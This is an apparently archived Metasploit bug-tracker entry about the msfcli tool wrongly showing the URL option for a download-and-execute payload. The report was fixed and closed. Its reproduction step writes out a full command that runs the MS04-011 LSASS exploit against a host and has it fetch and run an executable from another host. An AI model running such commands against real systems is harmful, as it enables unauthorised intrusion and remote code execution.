Bug #196

Payload "windows/download_exec/bind_tcp" - Cannot set "URL" variable via msfcli

Added by HD Moore over 2 years ago. Updated almost 2 years ago.

Status:Closed Start:
Priority:Normal Due date:
Assigned to:HD Moore % Done:

0%

Category:general
Target version:Metasploit 3.2
Resolution:fixed

Description

$ msfcli windows/smb/ms04_011_lsass PAYLOAD=windows/download_exec/bind_tcp URL=!http://10.0.0.1:2000/code.exe RHOST=10.0.0.2 O

... results in "URL" still being undefined. Setting "URL" via msfconsole and msfweb works. Enclosing the URL string in quotes (URL="!http://10.0.0.1:2000/sample.exe") had no effect.

Associated revisions

Revision 5854
Added by HD Moore almost 2 years ago

Fixes #196. Correctly show set options in the 'O' mode

History

Updated by over 2 years ago

If one sets and saves "URL" globally via msfconsole, msfcli successfully uses it.

Updated by HD Moore over 2 years ago

Odd bug. Will look into it.

Updated by HD Moore almost 2 years ago

The displayed options are incorrect, but the variable is being set properly.

Updated by HD Moore almost 2 years ago

  • Status changed from New to Closed
  • Resolution set to fixed

(In r5854) Fixes #196. Correctly show set options in the 'O' mode

Also available in: Atom PDF